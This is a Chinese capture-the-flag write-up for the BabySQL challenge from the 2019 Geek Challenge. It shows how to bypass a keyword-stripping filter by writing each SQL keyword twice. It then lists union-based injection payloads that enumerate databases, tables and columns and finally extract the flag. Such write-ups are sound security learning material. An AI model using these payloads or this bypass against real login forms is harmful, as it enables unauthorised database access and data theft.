[极客大挑战 2019]BabySQL
知识点
过滤判断 xxx.com?id=1 访问?id=1and1=1 页面报错 1=1,发现and被过滤,这时候尝试使用双写的方式绕过,如aanndd 1=1,当and被过滤后,aanndd变成了and,所以这时传输数据库的语句是 and 1=1 ,如果当访问 order by 错误信息为”der by”这发现过滤了or,这双写or,后面注入和union注入的一致。
思路
打开发现是一个登录界面,尝试发现注入点,先使用万能密码试试 ’ or 1=1#
发现报错,查字段
?username=admin&password=aaa’ order by 1 #
发现网站过滤了 union select where order or by
往下不怎么会,看了一下师傅们的wp,发现使用双写绕过
进行字段查询,发现到4会报错,那就说明有3个字段
?username=admin&password=aaa ’ ununionion seselectlect 1,2,3#
注入成功
?username=admin&password=aaa ’ ununionion seselectlect 1,database(),version() #
然后获取数据库信息
尝试爆出所有的数据库
?username=admin&password=aaa ’ ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #
看到数据库ctf,获取数据库表名
?username=admin&password=aaa ’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=“ctf”#
查看列名
?username=admin&password=aaa ’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=“Flag”#
获取flag
?username=admin&password=aaa ’ ununionion seselectlect 1,2,group_concat(flag) frfromom (ctf.Flag)#